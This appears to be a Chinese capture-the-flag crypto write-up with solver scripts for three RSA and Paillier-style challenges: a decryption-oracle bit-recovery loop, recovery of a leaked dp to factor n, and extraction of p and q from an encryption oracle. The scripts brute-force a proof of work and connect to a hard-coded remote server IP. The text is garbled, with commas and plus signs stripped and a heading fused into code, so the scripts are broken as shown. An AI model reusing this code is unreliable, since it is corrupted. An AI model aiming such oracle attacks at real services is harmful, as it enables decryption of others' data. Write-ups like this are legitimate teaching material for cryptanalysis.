keys = {521  526  530  542  548  550  558  566  577  585  611  613  614  113  114  119  121  123  637  638  639  128  129  130  641  646  647  653  142  148  158  685  184  186  201  718  727  216  232  745  746  237  751  241  244  780  783  271  281  286  288  810  299  307  309  313  333  860  349  355  877  885  888  899  903  396  400  918  416  936  939  427  942  430  944  461  977  983  995  498}
index = {530: b'0'  521: b'0'  585: b'0'  899: b'0'  281: b'1'  355: b'0'  128: b'1'  416: b'0'  498: b'0'  944: b'1'  977: b'1'  396: b'1'  550: b'0'  877: b'1'  918: b'1'  333: b'1'  244: b'1'  647: b'1'  611: b'0'  461: b'1'  637: b'0'  614: b'0'  216: b'1'  639: b'0'  727: b'1'  119: b'0'  983: b'0'  237: b'1'  148: b'0'  810: b'1'  130: b'0'  685: b'0'  885: b'0'  114: b'0'  427: b'0'  201: b'1'  860: b'1'  888: b'1'  783: b'0'  646: b'1'  299: b'0'  288: b'0'  653: b'1'  129: b'1'  313: b'0'  558: b'0'  309: b'1'  142: b'0'  745: b'1'  613: b'1'  936: b'1'  548: b'1'  903: b'0'  718: b'0'  158: b'1'  542: b'1'  566: b'0'  400: b'1'  186: b'1'  780: b'1'  577: b'0'  638: b'0'  430: b'1'  641: b'1'  751: b'0'  286: b'1'  995: b'0'  113: b'1'  939: b'0'  746: b'0'}
context.log_level = 'debug'
while True:
    try:
        sh = remote(host  port)
        data = sh.recvrepeat(1).decode()
        known  hashcode = re.findall(r'256\(\?\ (.*?)\) == (.*?)\n'  data)[0]
        secret = proof(known  hashcode)
        sh.sendline(secret.encode())
        for _ in range(32):
            data = sh.recvrepeat(2).decode()
            n = int(re.findall(r'n = (.*?)\n'  data)[0])
            g = int(re.findall(r'g = (.*?)\n'  data)[0])
            sh.sendline(b'123')
            sh.recv()
            sh.sendline(b'3')
            sh.recv()
            sh.sendline(b'3')
            data = sh.recvrepeat(1).decode()
            c = int(re.findall(r'This is a ciphertext.\n(.*?)\n'  data)[0])
            c2 = c * g % (n ** 2)
            sh.sendline(str(c2).encode())
            data = sh.recvrepeat(1).decode()
            res = int(re.findall(r'This is the corresponding plaintext.\n(.*?)\n'  data)[0])
            assert (res - 1) % 9 == 0
            this = (res - 1) // 9
            if this not in index:
                sh.sendline(b'0')
                data = sh.recv().decode()
                if "Sorry" in data:
                    index[this] = b'1'
                    break
                else:
                    index[this] = b'0'
            else:
                sh.sendline(index[this])
                sh.recv()
            print(index)
        else:
            print(sh.recvrepeat(1).decode())
            sh.close()
            break
        sh.close()
    except KeyboardInterrupt:
        raise KeyboardInterrupt
    except:
        passRandom_RSA
    
在py2中拿到$dp$
seeds = [4827  9522  552  880  7467  7742  9425  4803  6146  4366  1126  4707  1138  2367  1081  5577  4592  5897  4565  2012  2700  1331  9638  7741  50  824  8321  7411  6145  1271  7637  5481  8474  2085  2421  590  7733  9427  3278  5361  1284  2280  7001  8573  5494  7431  2765  827  102  1419  6528  735  5653  109  4158  5877  5975  1527  3027  9776  5263  5211  1293  5976  7759  3268  1893  6546  4684  419  8334  7621  1649  6840  2975  8605  5714  2709  1109  358  2858  6868  2442  8431  8316  5446  9356  2817  2941  3177  7388  4149  4634  4316  5377  4327  1774  6613  5728  1751  8478  3132  4680  3308  9769  8341  1627  3501  1046  2609  7190  5706  3627  8867  2458  607  642  5436  6355  6326  1481  9887  205  5511  537  8576  6376  3619  6609  8473  2139  3889  1309  9878  2182  8572  9275  5235  6989  6592  4618  7883  5702  3999  925  2419  7838  3073  488  21  3280  9915  3672  579]
res = [55  5  183  192  103  32  211  116  102  120  118  54  120  145  185  254  77  144  70  54  193  73  64  0  79  244  190  23  215  187  53  176  27  138  42  89  158  254  159  133  78  11  155  163  145  248  14  179  23  226  220  201  5  71  241  195  75  191  237  108  141  141  185  76  7  113  191  48  135  139  100  83  212  242  21  143  255  164  146  119  173  255  140  193  173  2  224  205  68  10  77  180  24  23  196  205  108  28  243  80  140  4  98  76  217  70  208  202  78  177  124  10  168  165  223  105  157  152  48  152  51  133  190  202  136  204  44  33  58  4  196  219  71  150  68  162  175  218  173  19  201  100  100  85  201  24  59  186  46  130  147  219  22  81]
import random
dp = ''
for i  each in enumerate(seeds):
    random.seed(each)
    for _ in range(i % 4):
        random.randint(0 255)
    dp  = chr(res[i] ^ random.randint(0 255))
print(dp)
    
e dp \equiv 1\ (mod\ p-1)\
e dp = k(p – 1)  1\
e * dp   k – 1 = pk
爆破$k$,求$gcd(n e * dp k – 1)$解出$p$
from Crypto.Util.number import *
n = 81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391
c = 61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151
e = 65537
dp = 5372007426161196154405640504110736659190183194052966723076041266610893158678092845450232508793279585163304918807656946147575280063208168816457346755227057
for i in range(e):
    if GCD(n  int(e * dp   i - 1)) > 1:
        p = GCD(n  int(e * dp   i - 1))
        q = n // p
        print(long_to_bytes(pow(c  inverse(e  (p - 1) * (q - 1))  n)))
        break
myRSA
    
先对$n-1$进行加密,拿到$temp = (x   y)(n-1) k_1 k_2$
$k_1 k_2$大概有1041bit讲temp整除$n-1$之后可以得到$x y$的大概值
然后根据大小关系,直接对$x y$开三次根 $ 1$拿到$p q$,拿flag同理直接把 enc_flag 整除$x y$即可拿到正常的c
# -*- coding: utf-8 -*-
from hashlib import sha256
from Crypto.Util.number import *
from pwn import *
from gmpy2 import iroot
String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz'
def proof(known  hashcode):
    for each1 in String:
        for each2 in String:
            for each3 in String:
                for each4 in String:
                    this = each1   each2   each3   each4   known
                    if sha256(this.encode()).hexdigest() == hashcode:
                        # print(each1   each2   each3   each4)
                        return each1   each2   each3   each4
host  port = "47.104.85.225"  49803
context.log_level = "debug"
sh = remote(host  port)
data = sh.recvrepeat(1).decode()
known  hashcode = re.findall(r'256\(\?\ (.*?)\) == (.*?)\n'  data)[0]
secret = proof(known  hashcode)
sh.sendline(secret.encode())
sh.recvuntil('This is my public key:\n')
n = int(sh.recvuntil('\n').decode().strip().split(' ')[-1])
e = 0x10001
sh.recvuntil('exit\n')
sh.sendline(b'1')
sh.recvuntil('\n')
sh.sendline(long_to_bytes(n - 1))
sh.recvuntil('\n')
tmp = int(sh.recvuntil('\n').decode().strip())
sh.recvuntil('exit\n')
sh.sendline(b'2')
sh.recvuntil('\n')
sh.recvuntil('\n')
c = int(sh.recvuntil('\n').decode().strip())
sum = (iroot(tmp // (n - 1)  3)[0]   1)
p = (sum - iroot(sum ** 2 - 4 * n  2)[0]) // 2
q = n // p
c = c // ((p   q) ** 3 - (p - q) ** 2   (p   q))
print(long_to_bytes(pow(c  inverse(e  (p - 1) * (q - 1))  n)))          




